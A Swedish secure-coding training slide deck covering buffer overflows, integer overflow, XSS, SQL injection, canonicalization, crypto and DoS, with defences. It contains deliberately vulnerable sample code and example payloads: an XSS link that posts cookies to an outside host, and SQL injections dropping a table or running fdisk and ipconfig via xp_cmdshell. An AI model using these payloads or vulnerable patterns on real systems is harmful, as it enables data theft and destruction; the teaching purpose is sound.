Att skriva säker kod – del 1

Att skriva säker kod – del 1 Fredrik Hesse Säkerhetskonsult Nexus Technology AB

Vad kommer vi gå igenom • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

Behovet av säker kod “Up to 1,500 websites could have been affected by a recent hack attack” US port 'hit by UK hacker‘ “ “Piracy cost more than 4,300 jobs and $850 million in damage” “Several corporations said they lost $10 million in a single break-in” “Sobig virus accounted for $30 billion worth of economic damages worldwide” “Attacks will cost the world economy a whopping $1.6 trillion (US$) this year”

Hotfulla scenarios • Anställda kopplar upp sig till företagets nätverk • Via TP, trådlöst, uppringda förbindelser eller VPN • Företagsdatorer, hem-PC • Anställda kopplar upp sig till andra nätverk • “HotSpots” på internet, partners, bredband • Partners kopplar upp sig till företagets nätverk • Lokal och/eller gemensam autentisering • Anonyma gäster • Nya scenarier och hot

Vad vill vi skydda oss emot? • Internet är grogrunden för: • Tjuvar • Bedragare • Vandaler • Kriminella • Hackers • Du borde inte vara förvånad över att attacker förekommer!

Organisations- attacker Hackers Automatiserade attacker Skyddad data DoS Säkerhetsintrångav misstag Tappad uppkoppling “Denial of Service” (DoS) Virus, trojaner, maskar Vanliga attacker

Vad är en buffertöverskrivning? • Existerar primärt i ohanterad kod (C/C++) • Data överskrider förväntad storlek • Fyra vanliga typer: • Stackbaserade buffertöverskrivningar • Heap-baserade överskrivningar • Funktionspekare i “V-table” • Felhantering • Kan utnyttjas av maskar • Robert Morris mask och CodeRed

void UnSafeMethod(const char* uncheckedData) { char localVariable[4]; int anotherLocalVariable; strcpy (localVariable, uncheckedData); } Exempel på buffertöverskrivning Överst på stacken int char[4] returadress

Data Pekare Data Data Pekare Pekare “Heap” överskrivningar • Skriver över data som lagrats på “heapen” • Stackbaserad överskrivning skriver över adresser i stacken • Svårare att utnyttja • En hacker måste lära sig om enfunktionspekare är lagrad nära eninmatningsbuffert xxxxxxxxxxxxxx strcpy

Skydd mot buffertöverskrivningar (1/2) • Var försiktig när du använder: • strcpy • strncpy • memcpy • Använd flaggan /GS vid kompilering i Visual C++ för att identifiera överskrivningar • /GS valet är inte en ersättning för försiktig och noggrann programmering • Används strsafe.h för säker bufferthantering

Skydd mot buffertöverskrivningar (2/2) • Kontrollera alla vektorindex • Använd med fördel “wrapper”-klasser • Kan innehålla inbyggt skydd • Kontrollera längden på sökvägar till filer • _MAX_PATH (men var observant) • Skriv inte egna algoritmer för att dela filer • Använd splitpath eller någon liknande • Optimalt är att använda hanterad kod • Men glöm inte bort PInvoke/COM interoperabilitet samt kod som markerats som “unsafe”

Aritmetiska fel • Aritmetiska fel • Uppstår när begränsningarna för en variabel överskrids • Underskattas och förkastas ofta • Kan leda till allvarliga fel vid exekvering • Exempel på aritmetiska fel inkluderar • “Overflow” • “Underflow”

Exempel på aritmetiska fel • Hur stor är en size_t? • Är en size_t teckenbestämd? • Vad händer om: len1 == 0xFFFFFFFE len2 == 0x00000102 int Concat(char *buf1, char *buf2, size_t len1, size_t len2){ char buf[256]; if((len1 + len2) > 256) return -1; memcpy(buf, buf1, len1); memcpy(buf + len1, buf2, len2); ... }

Skydd mot aritmetiska fel • För att förhindra aritmetiska fel: • Var medveten om begränsningarna på de datatyper som du använder • Skriv defensiv kod, kontrollera efter “overflows” • Överväg att skriva säkra funktioner som kan återanvändas • Till exempel: SafeAdd • Överväg att skapa en säker “template”-klass om du använder C++ • Till exempel: class SafeInt <typnamn T>

Skydd mot aritmetiska fel // Kontrollera fel if (A + B >= A && A + B < MAX) { // coolt! } eller // Skapa egna säkra funktioner if UAdd(A,B,&R) { // coolt, resultatet i R } eller // dleblanc (SafeInt.hpp) SafeInt<int> A = 0x5000; SafeInt<int> B = 0xffff; if (A + B < MAX) { } if (A + B > MAX) return -1;

Vad är “Cross-Site Scripting”? • XSS ger hackers möjligheten att exekvera skadliga skript i en klients webbläsare • Vilken webbsida som helst som renderar HTML och innehåller inmatning från användare är sårbar • Hackers kan föra in <script>, <object>, <applet> och <embed> taggar • Hackers kan potentiellt stjäla information om sessioner och autentiserings-cookies och då få tillgång till den lokala klientens dator

Två vanliga användningsområden • Attackera webbaserade plattformar för epost och diskussionsgrupper • Hackern för in HTML-taggar i meddelanden och poster i diskussionsgrupper • Använda HTML <form>-taggar för att skicka privat information vidare • Hackern lägger till HTML <form>-taggar i hyperlänkar som går till en legitim webbsida. Attributet “Action” på <form>-taggen leder till hackerns webbsida och privat information kan skickas dit.

XSS exempel Aktörerna Bosse, vår hacker Maria, en vanlig användare

Formulärbaserade attacker (1/2) Response.Write(“Välkommen " & Request.QueryString("UserName"))

Formulärbaserade attacker (2/2) <a href=http://www.contoso.msft/welcome.asp?UserName= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > here </a>

Skydd mot XSS (1/2) • Lita inte på inmatning från användare • Validera all data som ges av användare • Var extra noggrann med data som innehåller<script> eller <object> • Eka inte blint tillbaka inmatning från webben • Eka bara när det behövs • Validera data innan du ekar • Lagra inte känslig information i “cookies” • Relativt enkelt för hackers att ta en “cookie”

Skydd mot XSS (2/2) • Använd valet HttpOnly för cookies • Hindrar åtkomst från skript på klientsidan • Använd säkerhetsattributet i <frame> • Stödjer zon inställningar i Internet Explorer • Definera en explicit teckenuppsättning för sidan • Använd funktioner i ASP.NET • Använd “validateRequest” för att testa taggar • Använd “HTMLEncode” och “URLEncode” för att filtrera det som skrivs tillbaka

Vad är “SQL Injection”? • “SQL injection” uppkommer när användare kontrollerar kriterier i SQL-program och hackers matar in värden som förändrar det asviktliga syftet med programmet • Fyra vanliga exempel på “SQL Injection”: • Utforska databaser • Kringgå auktorisering • Exekvera flera SQL-program • Anropa inbyggda lagrade procedurer

“SQL Injection” i C# string Status = "No"; string sqlstring =""; try { SqlConnection sql= new SqlConnection( @"data source=localhost; user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM detail WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes"; } catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; } } catch (Exception e) { Status = e.ToString(); }

“SQL Injection” i VB.NET Dim Status As String = "No" Dim sqlstring As String Try Dim sql As New SqlConnection( _ "data source=localhost; user id=sa;password=password") sqlstring = "SELECT HasShipped FROM detail WHERE ID='“ + Id + "'" sql.Open() Dim cmd As New SqlCommand(sqlstring, sql) If cmd.ExecuteScalar() <> 0 Then Status = "Yes" End If Catch se As SqlException Status = sqlstring + " failed” + System.Environment.NewLine For i As Integer = 0 To se.Errors.Count - 1 Status += se.Errors(i).Message + System.Environment.NewLine Next Catch e As Exception Status = e.ToString() End Try

Hur används ”SQL Injection”? (1/3) En bussig en skriver 1001 SELECT HasShippedFROM detail WHERE ID= '1001' En mindre bussig en skriver 1001’ or 1=1 - - SELECT HasShippedFROM detail WHERE ID= '1001' or 1=1 -- '

Hur används ”SQL Injection”? (2/3) En riktigt elak en skriver 1001' drop table orders -- Om en server är nere i 5 timmar Och vi har normalt 200 transaktioner i timmen Varje transaktion är på 300 kronor SELECT HasShipped FROM detailWHERE ID= '1001' drop table orders -- ' En person vid namn “ondskan” skriver 1001' exec xp_cmdshell(‘fdisk.exe’) -- SELECT HasShipped FROM detailWHERE ID= '1001' exec xp_cmdshell('fdisk.exe') -- ' 300 000 i förlorade intäkter

Hur används ”SQL Injection”? (3/3) • SQL Injection och DoS ALFKI’; exec master..xp_cmdshell ’ipconfig /release SELECT * FROM customers WHERE ID = ‘" & customerSearch & “ ‘ " SELECT * FROM customersWHERE ID= 'ALFKI’;exec master..xp_cmdshell ’ipconfig /release'

Skydd mot “SQL Injection” • Validera och sanera ALL inmatning • Anta att inmatning är ond tills motsatsen bevisats • Leta efter korrekt data och förkasta allt annat • Fundera på att använda reguljära uttryck • Exekvera med så lite rättigheter som möjligt • Exekvera aldrig som ‘sa’ • Begränsa åtkomsten till lagrade procedurer • Favorisera “SQL parameterized queries” • Bygg inte program med ihopfogning av strängar • Skicka inte tillbaka meddelanden från ODBC

Skydd mot “SQL Injection” • Bygg en parameteriserad fråga i C# • Bygg en parameteriserad fråga i VB SqlDataAdapter myCommand = new SqlDataAdapter("SELECT au_lname, au_fname FROM Authors WHERE au_id = @au_id", conn); SqlParameter parm = myCommand.SelectCommand.Parameters.Add("@au_id", SqlDbType.VarChar, 11); parm.Value = Login.Text; Dim myCommand As New SqlDataAdapter("SELECT au_lname, au_fname FROM Authors WHERE au_id = @au_id", conn) Dim parm As SqlParameter = myCommand.SelectCommand.Parameters.Add("@au_id", SqlDbType.VarChar, 11) parm.Value = Login.Text

“Canonicalization” • Det finns fler än ett sätt att namnge saker • Alternativa representationer finns för: • Filnamn • URL:er • Hackers kan utnyttja kod där beslut baserats på filnamn eller URL:er

“Canonicalization” • MinStoraFil.txt • MinStoraFil.txt. • MinSto~1.txt • MinStoraFil.txt::$DATA

“Canonicalization” • Det finns många sätt att representera tecken på Internet http://www.microsoft.com/technet/security Är det samma som.: http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity http://www.microsoft.com%c0%aftechnet%c0%afsecurity http://www%25%32%65microsoft.com/technet/security http://172.43.122.12 = http://2888530444

Skydd mot “Canonicalization” • Basera aldrig beslut på namn • Det finns ett antal sätt att beskriva sökvägar och URL’er • Chansen finns att du gör fel • Använd säkerheten i filsystemet • Begränsa åtkomst till privat data • Slå av “Parent Paths” i IIS

Nyckel Klartext Kryptotext Algoritm Jag behöver tre av ovanstående för att ta ditt data! Svagheter vid kryptering • Saker som kan bli fel • Att skapa en egen • Svaga algoritmer • Felaktigheter i krypteringsalgoritmer • Säkerheten på nyckeln • Livslängden på nyckeln • Den mänskliga faktorn

Kryptografiska hackningsförsök • Om det går, använd DPAPI för att slippa hantera nycklar • Om nyckelhantering krävs • Byt nycklar regelbundet, återanvänd inte! • Använd ACL:er för att begränsa åtkomst • Använd större nycklar för ökad säkerhet • Implementera INTE dina egna kryptografiska rutiner

Utmaningar med Unicode • Vanliga misstag • Behandla ett Unicode-tecken som en enstaka byte • Felberäkning av behövd storlek på bufferts • Missanvändning av MultiByteToWideChar • Validering innan konvertering • Alla tecken i Unicode kan inte översättas till ASCII • Resultat • Buffertöverskrivningar • Potentiellt farliga teckensekvenser kommer igenom nätet

Skydd mot utmaningar i Unicode • Beräkna storlek på buffert med sizeof(WCHAR) • Glöm inte GB18030 (4 bytes per tecken) • Konvertera från Unicode till ASCII och validera efteråt • Använd IsNLSDefinedString vid validering • Använd MultiByteToWideChar korrekt • Erbjud en tillräckligt stor buffert

“Denial of Service” attacker • Brist i applikationen eller operativsystem • CPU brist (“svält”) • Minnesbrist • Resursbrist • Nätverksbrist

Skydda mot DOS-attacker • Designa dina applikationer att vara säkra från första dagen • Ha eventuella planer på plats direkt • Lita inte på användarinmatning • Hantera fel intelligent • Fånga fel • (Try-Catch-Finally) • Gör säkerhetstester • Förvänta det oförväntade

Sammanfattning • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

Att skriva säker kod – del 1